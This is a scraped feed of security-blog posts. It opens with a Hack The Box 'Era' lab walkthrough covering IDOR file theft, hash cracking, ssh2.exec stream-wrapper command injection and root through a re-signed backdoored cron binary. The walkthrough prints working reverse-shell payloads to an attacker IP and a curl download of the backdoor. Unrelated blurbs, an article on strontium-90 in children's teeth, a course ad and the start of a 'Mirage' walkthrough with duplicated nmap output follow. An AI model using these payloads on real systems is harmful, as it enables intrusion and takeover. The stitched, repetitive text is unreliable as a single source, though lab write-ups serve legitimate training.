Introduction:

In this writeup, we will explore the “Era” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Era” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1–5000, two admin-uploaded archives were retrieved – a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.

Root Flag:

While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attacker’s machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy –add-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

Nmap Output:

Analysis:

• Port 22 (SSH): Secure Shell service for remote access.
• Port 80 (HTTP): Web server running Apache.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

Gobuster DNS scan on era.htb finishes with no subdomains found — clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.

Discovering the Hidden Virtual Host with ffuf

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf with -fw 4 (filter responses with exactly 4 words) nails it — file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, that’s our hidden subdomain. Add to hosts and go!

Exploitation

Web Application Exploration:

Accessing http://era.htb shows the Era Designs homepage—a clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and “SUCCESS OF YOUR BUSINESS” text with a “FIND OUT MORE” button.

Burp shows a clean GET to http://era.htb → 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled “Era Designs” with no forms or backend endpoints – just a static landing site. Nothing juicy here.

Clean “Welcome to Era Storage!” page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.

Very minimal registration: only two fields – Username and Password. No email, no captcha, no security questions during signup.

Forgot-password bypass: enter username and answer the three hardcoded questions (mother’s maiden name, first pet, city of birth).

Classic centred login box with Username + Password on a blue-green gradient background – the page we’re redirected to after registration.

Successful POST to /register.php → 200 OK + automatic redirect to login.php. Account creation confirmed.

After picking a new username (e.g., “dark”), registration succeeds and the app displays: “Registration successful! Redirecting to login page…” → account creation is instant and working.

POST to /login.php with username=dark&password=admin123 returns 302 Found → Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the “dark” user.

GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: “Era – Manage”).

The main post-login page “Manage Your Files & Settings” shows:

• Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
• Main area: auto-delete timer setting, empty file list (“You haven’t uploaded any files yet.”), Reset Security Questions button This is the fully authenticated user panel — our foothold is confirmed.

Malicious PHP Upload → Direct Shell

Authenticated view of /upload.php. Simple file upload form titled “Upload Files” with a “Browse…” button (currently “No files selected.”) and a blue “Upload” button. No restrictions visible on file type or size yet.

Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit — this is just confirming normal upload functionality works.

After uploading dark.txt, the app redirects to /download.php?id=6615 and shows “Your Download Is Ready!” with the filename and a download button. Key observation: files are accessed via a numericid` parameter → classic candidate for Insecure Direct Object Reference (IDOR).

After clicking “Upload”, the app displays a green “Upload Successful!” banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID — setting the stage for IDOR testing and potential privilege escalation via file access across users.

Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected “Your Download Is Ready!” page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.

Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:

• Content-Type: application/octet-stream
• Content-Disposition: attachment; filename=”dark.txt” This is extremely useful for scripting/automation because we get the raw file without HTML.

Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other users’ files.

Database Leak & Credential Extraction

Final setup in Burp Intruder:

• Target: http://file.era.htb
• Payload position marked on the id parameter (id=6615 → id=§6615§)
• Payload type: Numbers 1 → 5000 (simple list)
• ?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.

Burp Intruder attack against download.php?id=§§&dl=true using the 1–5000 payload list. All responses are 200 OK and exactly 7969 bytes long — including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to → confirmed horizontal Insecure Direct Object Reference (IDOR).

After confirming the IDOR on download.php?id=, we generate a list of IDs 1–5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.

Insecure Direct Object Reference (IDOR)

Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.

Response headers confirm we’re downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).

Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script – likely for code signing or authentication.

Response forces download of signing.zip (2746 bytes). This archive contains the admin’s private key (id_rsa) and a script – the golden ticket for SSH access as the admin/user.

Source Code Review – Key Vulnerabilities Exposed in the Leak

After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.

This is the full source code of the Era web application, straight from the admin’s upload (ID 54). Key files visible during extraction:

• download.php, upload.php, index.php – core functionality
• filedb.sqlite – the SQLite database storing users, sessions, and file metadata
• files/ directory – where uploaded files are stored on disk
• functions.global.php, initial_layout.php, etc. – backend logic
• .htaccess, login.php, logout.php – authentication flow

With this backup in hand, we now have everything:

• Complete code review capability
• The database (filedb.sqlite) to dump credentials or session secrets
• Exact knowledge of how the IDOR works internally

This is the live SQLite database powering the entire Era application – straight from the admin’s site backup we downloaded via IDOR.

We’ve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:

• users → stores usernames, password hashes, etc.
• files → maps numeric IDs to real filenames and owners (confirms the IDOR logic)

After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email “Maria Oliver | Ottawa”. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we don’t even need to crack anything — the signing.zip we downloaded via the same IDOR already contains the admin’s SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. We’re now one ssh -i id_rsa admin@file.era.htb away from both flags.

Cracking the Leaked Hashes with John the Ripper

We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the admin’s: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.

John instantly cracks two weak passwords:

• america → eric
• mustang → yuri

The rest (including admin) remain uncracked in the short run.

Both attempts fail with Connection refused.

This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH — the server is correctly hardened against password auth.

Alternative way to obtain the user flag

This is the “Update Security Questions” page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin

The server happily accepted it and responded with the green banner: “If the user exists, answers have been updated — redirecting…”

This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone else’s answers (including the admin’s) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.

Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.

Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: mother’s maiden name, first pet’s name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.

The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently present—site-backup-30-08-24.zip and signing.zip—both of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.

FTP Enumeration (Local-Only vsFTPd – Optional Side Discovery)

Attacker logs into the target’s own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.

Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.

Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:

• 000-default.conf (1.3 KB)
• apache2.conf (7 KB)
• file.conf (222 bytes)
• ports.conf (320 bytes)

Gaining User Shell – ssh2 Stream Wrapper RCE

After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.

The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded — but completely unnecessary for either the user or root compromise.

Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHP’s ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.

This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c ‘bash -i >/dev/tcp/10.10.14.189/9007 0>&1’ followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.

Attacker stuffs this tightly-encoded string into the format parameter:

ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%22bash%20-i%3E%26/dev/tcp/10.10.14.189/9007%200%3E%261;true%27

Once decoded, PHP sees:

ssh2.exec://eric:america@127.0.0.1/bash -c “bash -i>&/dev/tcp/10.10.14.189/9007 0>&1;true'”

Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;true’ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.

PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.

On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)

Eric managed to read user.txt and obtained the flag

Escalate to Root Privileges Access

Privilege Escalation:

Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.

Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.

Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention — custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.

Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.

I runs strings monitor. Among normal library calls, two crucial strings appear: “[] System scan initiated…” and “[] No threats detected. Shutting down…”. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.

I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints “[*} System scan initiated…”, then “[SUCCESS] No threats detected.” – confirming it is a scheduled root job and the real escalation target.

Custom Binary Signature Bypass

We tries to open a file called dark.c inside /dev/shm but vi fails with “command not found”. This reveals the reverse shell lacks a proper $PATH and most binaries – a common issue with raw /dev/tcp shells.

On the attacker’s local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.

On the attacker’s local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor – a perfect drop-in replacement for the legitimate monitor program.

I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attacker’s web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).

The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.

Command such as objcopy –dump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binary’s .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.

I runs objcopy –add-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.

To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.

The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.

Root reads the final flag immediately after gaining the privileged shell

The post Hack The Box: Era Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

AI-generated code is reshaping software development and introducing new security risks. Organizations must strengthen governance, expand testing and train developers to ensure AI-assisted coding remains secure and compliant.

The post Securing AI-Generated Code in Enterprise Applications: The New Frontier for AppSec Teams  appeared first on Security Boulevard.

If you are a schoolkid of the right age, you can’t wait to lose a baby tooth. In many cultures, there is a ritual surrounding it, like the tooth fairy, a mouse who trades your tooth for a gift, or burying the tooth somewhere significant. But in 1958, a husband and wife team of physicians wanted children’s teeth for a far different purpose: quantifying the effects of nuclear weapons testing on the human body.

Louise and Eric Reiss, along with some other scientists, worked with Saint Louis University and the Washington School of Dental Medicine to collect and study children’s discarded teeth. They were looking for strontium-90, a nasty byproduct of above-ground nuclear testing. Strontium is similar enough to calcium that consuming it in water and dairy products will leave the material in your bones, including your teeth.

The study took place in the St. Louis area, and the results helped convince John F. Kennedy to sign the Partial Nuclear Test Ban Treaty.

They hoped to gather 50,000 teeth in a year. By 1970, 12 years later, they had picked up over 320,000 donated teeth. While a few kids might have been driven by scientific altruism, it didn’t hurt that the program used colorful posters and promised each child a button to mark their participation.

Children’s teeth were particularly advantageous to use because they are growing and are known to readily absorb radioactive material, which can cause bone tumors.

Scale

You might wonder just how much nuclear material is floating around due to bombs. Obviously, there were two bombs set off during the war, as well as the test bombs required to get to that point. Between 1945 and 1980, there were five countries conducting atmospheric tests at thirteen sites. The US, accounting for about 65% of the tests, the USSR, the UK, France, and China detonated 504 nuclear devices equivalent to about 440 megatons of TNT.

Well over 500 bombs with incredible force have put a lot of radioactive material into the atmosphere. That doesn’t count, too, the underground tests that were not always completely contained. For example, there were two detonations in Mississippi where the radiation was contained until they drilled holes for instruments, leaving contaminated soil on the surface. Today, sites like this have “monuments” explaining that you shouldn’t dig in the area.

Of course, above-ground tests are worse, with fallout affecting “downwinders” or people who live downwind of the test site. There have been more than one case of people, unaware of the test, thinking the fallout particles were “hot snow” and playing in it. Test explosions have sent radioactive material into the stratosphere. This isn’t just a problem for people living near the test sites.

Results

By 1961, the team published results showing that strontium-90 levels in the teeth increased depending on when the child was born. Children born in 1963 had levels of strontium-90 fifty times higher than those born in 1950, when there was very little nuclear testing.

The results were part of the reason that President Kennedy agreed to an international partial test ban, as you can see in the Lincoln Presidential Foundation video below. You may find it amazing that people would plan trips to watch tests, and they were even televised.

In 2001, Washington University found 85,000 of the teeth stored away. This allowed the Radiation and Public Health Project to track 3,000 children who were, by now, adults, of course.

Sadly, 12 children who had died from cancer before age 50 had baby teeth with twice the levels of the teeth of people who were still alive at age 50. To be fair, the Nuclear Regulatory Commission has questioned these findings, saying the study is flawed and fails to account for other risk factors.

And teeth don’t just store strontium. In the 1970s, other researchers used baby teeth to track lead ingestion levels. Baby teeth have also played a role in the Flint Water scandal. In South Africa, the Tooth Fairy Project monitored heavy metal pollution in children’s teeth, too.

Teeth aren’t the only indicator of nuclear contamination. Steel is also at risk.

Featured image: “Castle Bravo Blast” by United States Department of Energy.

Welcome back, my aspiring cyberwarriors!

Smart homes are increasingly becoming common in our digital world! These smart home devices have become of the key targets of malicious hackers. This is largely due to their very weak security. In 2025, attacks on connected devices rose 400 percent, with average breach costs hitting $5.4 million

In this three-day class, we will explore and analyze the various security weaknesses of these smart home devices and protocols.

Course Outline

1. Introduction and Overview of Smart Home Devices
2. Weak Authentication on Smart Home Devices
3. RFID and the Smart Home Security
4. Bluetooth and Bluetooth LE vulnerabilities in the home
5. Wi-Fi vulnerabilities and how they can be leveraged to takeover all the devices in the home
6. LoRa vulnerabilities
7. IP Camera vulnerabilities
8. Zigbee vulnerabilities
9. Jamming Wireless Technologies in the Smart Home
10. How attackers can pivot from an IoT devices in the home to takeover your phone or computer
11. How to Secure Your Smart Home

This course is part of our Subscriber Pro training package

Competitive testing is a business-critical function for financial institutions seeking the ideal solutions provider to help optimize their risk management strategies. Don’t get seduced by inflated test results or flowery marketing claims, however. Selecting the right risk solutions could be one of the most important tasks your business ever undertakes – and one of the..

The post Don’t Use a Ruler to Measure Wind Speed: Establishing a Standard for Competitive Solutions Testing appeared first on Security Boulevard.

In this episode, we discuss the first reported AI-driven cyber espionage campaign, as disclosed by Anthropic. In September 2025, a state-sponsored Chinese actor manipulated the Claude Code tool to target 30 global organizations. We explain how the attack was executed, why it matters, and its implications for cybersecurity. Join the conversation as we examine the […]

The post AI Agent Does the Hacking: First Documented AI-Orchestrated Cyber Espionage appeared first on Shared Security Podcast.

The post AI Agent Does the Hacking: First Documented AI-Orchestrated Cyber Espionage appeared first on Security Boulevard.

As a DDoS testing and resilience consultancy, we routinely advise our clients to strengthen their architecture by using a reputable CDN like Cloudflare. After this week’s Cloudflare outage, however, many organizations are understandably asking themselves a new question: Should we adopt a multi-CDN strategy instead of relying on a single provider? For the vast majority […]

The post Cloudflare Outage: Should You Go Multi-CDN? appeared first on Security Boulevard.

Introduction to Mirage:

In this writeup, we will explore the “Mirage” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Mirage” machine from Hack The Box by achieving the following objectives:

User Flag:

We kicked off with NFS, SMB, and Kerberos enumeration, mounted the open MirageReports share, and grabbed two internal PDFs. One revealed the missing hostname nats-svc.mirage.htb. We hijacked DNS with DNSadder.py, funneled all NATS traffic through our proxy, and snatched JetStream auth_logs messages — yielding valid credentials for david.jjackson. After syncing our clock with the DC, we scored a TGT, fired up Evil-WinRM, and landed on the domain controller as david.jjackson to claim the user flag.

Root Flag:

We started with david.jjackson’s ticket, and then kerberoasted nathan.aadam. After cracking his password, we gained his shell and subsequently discovered mark.bbond’s credentials. From there, we also retrieved the Mirage-Service$ managed password. With these pieces, we used Certipy to forge a DC01$ certificate, and as a result, we configured RBCD so mark.bbond could impersonate the domain controller. Once that was in place, we executed DCSync to dump all domain hashes, including Administrator. Finally, we obtained an Admin TGT and used Evil‑WinRM to open a shell as Administrator, which ultimately allowed us to claim the root flag.

Enumerating the Mirage Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.78 

nmap -sC -sV -oA initial 10.10.11.78 

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/mirage]
└──╼ $nmap -sC -sV -oA initial 10.10.11.78 
Nmap scan report for 10.10.11.78
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-20 20:52:31Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status

┌─[dark@parrot]─[~/Documents/htb/mirage]
└──╼ $nmap -sC -sV -oA initial 10.10.11.78 
Nmap scan report for 10.10.11.78
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-20 20:52:31Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time

2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -22m05s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-20T20:53:32
|_  start_date: N/A

2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -22m05s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-20T20:53:32
|_  start_date: N/A

Analysis:

• Port 53 (DNS) – Provides internal domain resolution. Useful for discovering hostnames and performing zone transfers if misconfigured.
• • Port 88 (Kerberos) – Active Directory authentication endpoint. Key for attacks like Kerberoasting or AS‑REP roasting.
• • Ports 111 & 2049 (NFS) – NFS running on a Windows DC is unusual. Could allow unauthenticated mounts or expose readable files.
• • Ports 135 / 139 / 445 (MSRPC / SMB) – Standard Windows services. SMB signing is enforced, which prevents NTLM relay attacks.
• • Ports 389 / 636 / 3268 / 3269 (LDAP / Global Catalog) – Full AD environment. LDAP enumeration is possible if permissions are misconfigured.
• • Port 464 (kpasswd) – Kerberos password change service. Can provide insights for password‑spray attempts.
• • Port 593 (RPC over HTTP) – RPC over HTTP interface. Typically used for Outlook Anywhere or AD RPC proxying.

Server Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

We scanned SMB and saw the service up, but mirage.htb blocked all NTLM logins (even dark:dark failed with STATUS_NOT_SUPPORTED). Kerberos only from now on.

We added the domain/realm to /etc/krb5.conf and used -k flags everywhere — no more passwords over the wire.

NFS Share Enumeration and Mounting Process on Mirage machine

